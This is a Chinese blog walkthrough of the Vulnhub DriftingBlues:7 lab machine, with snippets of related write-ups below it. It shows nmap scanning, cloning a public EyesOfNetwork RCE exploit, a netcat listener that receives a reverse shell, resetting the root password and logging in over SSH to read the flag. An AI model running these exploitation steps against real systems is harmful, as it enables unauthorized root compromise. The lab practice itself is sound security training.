Vulnhub-DriftingBlues:7

最新推荐文章于 2024-04-29 18:30:00 发布
最新推荐文章于 2024-04-29 18:30:00 发布
阅读量197 收藏
点赞数
分类专栏： 渗透测试 文章标签： linux 数据库 ssh 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_56123950/article/details/117714805
版权

Vulnhub-DriftingBlues:7

目录


靶机下载地址：https://www.vulnhub.com/entry/driftingblues-7,680/

信息收集
扫描目标网段
nmap -sP 172.16.58.0/24

在这里插入图片描述

查看端口及服务
nmap -p- 172.16.58.135

在这里插入图片描述

查看服务运行的版本
nmap -sV 172.16.58.135

在这里插入图片描述

访问网站

我们从打开的端口进行访问，先打开80端口试一下，结果直接来到一个登陆页面
在这里插入图片描述
我们搜索一下Eyes of network，发现可以找到相应的exp
https://github.com/h4knet/eonrce
然后我们把它下载到kali里

git clone https://github.com/h4knet/eonrce.git

在这里插入图片描述

提升权限

接下来我们赋予权限

cd eonrce
chmod +x ./eonrce.py

在这里插入图片描述
开启监听

nc -lvp 8888

在这里插入图片描述

运行脚本
./eonrce.py https://172.16.58.135 -ip 172.16.58.129 -port 8888

在这里插入图片描述
修改root密码

passwd root

在这里插入图片描述
然后我们使用ssh连接靶机

ssh 172.16.58.135

输入我们刚才修改的密码
在这里插入图片描述

查看文件发现flag.txt

ls -al

打开文件

cat flag.txt

在这里插入图片描述
成功获取。

从不专注的人
关注
专栏目录
vulnhub靶机 | DriftingBlues:7 write-up
xj28555的博客
05-04 8305
靶机下载地址:https://www.vulnhub.com/entry/driftingblues-7,680/ 题目的目标是要夺到里面的flag，搭建好环境如图。 首先用nmap扫描一下ip地址 nmap-sP192.168.110.1/24#扫描网段中存活主机 nmap-p-192.168.110.167 #在看看上面运行的服务 nmap-sV192.168.110.167#查看服务版本 上面运行的一些apache、...
vulnhub--driftingblues:2
venu_s的博客
06-03 428
靶机介绍 difficult：easy goal：get flags download：https://download.vulnhub.com/driftingblues/driftingblues2.ova 信息探测 主机发现 端口扫描 目标主机开放了21端口，有一张图片，可以匿名登陆；此外还开放了22端口和80端口 访问ftp，下载图片，图片不知道有啥用，先放着 80端口目录扫描 可以看出目标主机使用了WordPress，访问80端口 查看源码，就是一张图片 访问/blog，发现是一些博客
Vulnhub:DRIFTINGBLUES: 7
NeverForgetCX的博客
02-28 3234
前言: 在朋友的推荐下，空余时间中下载了vulnhub的随机靶机DRIFTINGBLUES:7,尝试实战 靶机在Vulnhub官网下载镜像，完成后可直接用VM打开虚拟机；努力成为专业白帽子！！！ 信息收集: 攻击机kali:192.168.2.87 靶机ip:192.168.2.90 打开靶机竟然直接看见了ip信息 IP:192.168.2.90 直接登入kali使用nmap端口扫描 nmap -sV 192.168...
vulnhub实战——DRIFTINGBLUES: 7
Ar_Gin Work
04-18 707
vulnhub实战——Driftingblues7 前言 无聊发现vulnhub上一个新靶机，下载来玩玩看，挺简单的。搜了搜没教程就写个教程给大家参考一下吧~ 靶机下载地址：https://www.vulnhub.com/entry/driftingblues-7,680/ 可以直接用VM打开，ip会自动获取并显示出来（挺人性化的） 正文 通过nmap扫描靶机nmap -sV -O 192.168.171.134 发现有80端口，我们访问一下发现为一个登录页面，后台名称为EyesOfNetwork 再目录
vulnhub 之driftingblues7_vh
鲨鱼辣椒的博客
06-09 628
目录 信息搜集 扫描网段 扫描IP地址 扫描网站目录 查看网站 发现漏洞 GETSHELL 总结 信息搜集 扫描网段 发现网站真实IP 扫描IP地址 发现开启的端口以及服务，以及中间件的一些版本信息（这可能会是我们后续渗透的突破点） 扫描网站目录 dirsearch -u https://192.168.179.137/ 虽然我并没有扫出什么有用的东西，但是这个扫的动作很重要，有时候就是一些不起眼的地方会给我们意想不到的惊喜（一定要注重细节，对于我们渗透.
Vulnhub-driftingblues:7
lionwerson的博客
01-03 548
nmap扫描端口: nmap.exe 192.168.0.11 -p- 开放的端口有很多，浏览器先打开80端口测试: 首先想到先测试一下用户名密码爆破，但是上网搜了一下，这个是一个网络监控框架，并且就有现成的Exploit可以使用，或者直接在msf中搜索就可以。 eyesofnetwork 5.1到5.3存在一个代码执行漏洞，而且可以直接获取root权限: #python3 eonrce.py ip:目标url -ip:监听的ip -port:监听的端口 python3 eonrce.py h
vulnhub靶机DriftingBlues: 2渗透笔记
liver100day的博客
07-26 933
文章目录环境准备1. 信息收集1.1 主机发现1.2 端口扫描1.3 访问80端口（http服务）2.漏洞利用2.1 ftp匿名登录漏洞2.2 爆破目录 环境准备 靶机环境搭建 攻击渗透机： kali IP地址：192.168.33.128 靶机：DC-7 IP地址未知 靶机下载地址：https://www.vulnhub.com/entry/driftingblues-2,634/ 1. 信息收集 1.1 主机发现 使用arp-scan -l获取目标靶机IP地址 arp-scan -l 扫描局域网所有设备
vulnhub--DriftingBlues:6复现超详细过程
m0_54024658的博客
06-05 411
下载靶机并且导入VMware masscan扫描存活主机，发现目标靶机192.168.152.225，并且开启了80端口 masscan -p80 192.168.152.0/24 --rate=2000 访问靶机的80端口，查看原代码，没有什么发现，想办法找页面的文件目录 ==Nmap -p- -sC -sV 192.168.152.225 --min-rate=2000 -vv == 详细扫描IP，发现了一个文件robots.txt，访问一下。 访问robots.txt文件发现一个目录，和提示目录
Vulnhub-DriftingBlues-7
weixin_50342860的博客
08-16 438
@TOC 简介 靶机下载：DriftingBlue-7 运行环境： 攻击机：kali 受害机：DriftingBlues-7 目标：夺到里面的flag 下载好靶机，直接打开（这里使用的是VM，模式选择NAT），如图 信息收集 扫描当前网段存活主机 查看端口及运行服务 查看服务版本 目录扫描 dirsearch 安装方法：点这里 扫描出来的目录没啥大发现 发现漏洞及利用漏洞 访问80端口会被跳转到如下页面 尝试了弱口令，暴力破解都没有猜解到密码，所以我们可以先去扫描一下它的目录结构。
看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-7
Aluxian_的博客
06-24 1446
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。这期更新一下Vulnhub DriftingBlues 系列 还是老样子找到FLAG即可，可能比较偏向CTF点。官网地址：https://www.vulnhub.com/entry/driftingblues-7,680/ 下载好了把安装包解压 然后试用VMware即可。kali里使用发现主机 渗透机：kali IP ：192.168.205.
VulnHub 之 DRIFTINGBLUES: 7
weixin_42075643的博客
04-28 821
Vulnhub是一个很好的靶机平台，想看官网点这里。 今天学习DRIFTINGBLUES: 7，点击这里下载哦~ 推荐使用virtualBox，我这里是VMware，看自己条件使用 难度：简单 基础练习，大佬可以绕过 接下来导入虚拟机，这里选择NAT模式，成功后，如图： 这里使用kali作为攻击机，首先查看kali的ip： 使用nmap来探测靶机ip： nmap -sS 192.198.81.0/24 可以看到有80端口，先去浏览器找找线索： 是一个network登录界面，试试若口令，爆破啥的
【靶场系列】driftingblues7
qq_41169485的博客
04-23 368
扫到一个.bash_history文件，下载查看，根据历史命令推测该目录下还存在一个eon文件。访问80端口，自动跳转到443端口，该cms是eyesofnetwork。根据查找到的EyesOfNetwork漏洞，选了一个可以rce的开始利用。使用john爆破zip密码，得到压缩包密码为killah。推测该账号密码是443端口的web页面登录密码，成功登录。搜索该cms的漏洞，可以看到该cms有很多漏洞。解码可知该文件是zip文件，因为有PK头。解码得到压缩包，但是需要密码才能打开。
靶机渗透练习07-driftingblues7
hirak0的博客
04-14 683
靶机描述 靶机地址：https://www.vulnhub.com/entry/driftingblues-7,680/ Description get flags difficulty: easy about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions. 一、搭建靶机环境
靶机：driftingblues7_vh
weixin_50339323的博客
08-03 354
一、信息收集 1、靶机ip 扫描存活靶机： nmap -sP 192.168.8.0/24 2、靶机端口 namp -sC -sV 192.168.8.131 显示开放的端口有：22 、80、111、443、3306、8086 3、网站信息收集 访问192.168.8.131 一个登录页面 查看源码，源码内有很多链接，逐一查看，一个网页内有Eyes ofNetwork 的相关信息，包括版本 搜索EyesOfNetwork相关信息，是一个构架管理，...
靶机渗透练习08-driftingblues7 (msf的简单利用)
Force~
03-31 860
1、主机探活 arp-scan -I eth0 -l （指定网卡扫） 扫描局域网所有设备（所有设备IP、MAC地址、制造商信息） masscan 192.168.111.0/24 -p 80,22 （masscan 扫描的网段 -p 扫描端口号） netdiscover -i eth0 -r 192.168.184.0/24 （netdiscover -i 网卡-r 网段） nmap -sn 192.168.111.0/24 2、端口扫描 nmap -sS -A -sV -T4 -p- 192.168
vulnhub靶场之driftingblues-7,9
最新发布
qq_58091216的博客
04-29 189
我们在/home/目录下发现了clapton文件夹，里面有user.txt，我们进行查看，发现了第一个flag。我们查看源代码，发现版本号是ApPHP MicroBlog v.1.0.1，我们可以进行搜索漏洞。我们访问80端口可以看到是一个登录页面，可能是爆破用户名和密码，其他端口都没有有用的信息。我们可以看到反弹成功，我们切换用户clapton/yaraklitepe。我们还看到了一个note.txt文件，我们进行查看，发现是一个提示。开启的端口有点多，首先我们一个一个进行渗透测试，我们先渗透靶场7。
vulnhub--DriftingBlues: 1
weixin_45922278的博客
03-28 1189
描述 获得标志 难度：容易 关于vm：已测试并从virtualbox导出 目录 1.nmap端口扫描 2.目录扫描 二、漏洞探测&利用 三、getshell & 提权 四、总结 一、信息收集 1.nmap端口扫描 nmap -A -T4 -v -p- 192.168.43.73 2.目录扫描 先将driftingblues.box加入到hosts文件中。 gobuster dir -u http://driftingblues.box...
vulnhub靶机 | DriftingBlues:7
在下小黄的博客
06-07 1173
大家好！ 我是小黄，很高兴又跟大家见面啦 ！ 拒绝水文，从我做起 ！！！！ 未经允许，禁止转载 ，违者必究！！！！ 本实验仅适用于学习和测试 ，严禁违法操作 ！ ！ ！ 今天更新的是： vulnhub靶机 | DriftingBlues:7 靶机解题过程及思路 微信公众号回复：【靶机】，即可获取本文全部涉及到的工具。 创建时间：2021年6月7日 软件： MindMaster Pro、kali、DriftingBlues:7靶机 DriftingBlues:7靶机解题过程及思路前言：信息搜
DRIFTINGBLUES: 7靶机
小小猪的博客
06-23 207
DRIFTINGBLUES: 7靶机 arp-scan -l 扫描靶机IP地址 nmap -sV -Pn -A x.x.x.247
vulnhub靶机-jangow: 1.0.1
03-16
vulnhub靶机-jangow: 1..1是一款用于渗透测试和漏洞攻击的虚拟机。它基于Ubuntu操作系统，包含多个漏洞和弱点，供安全专业人员进行测试和实践。该靶机的目标是获取root权限，并且需要使用各种技术和工具来完成任务。对于想要提高渗透测试技能的安全从业者来说，这是一个非常有用的学习资源。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值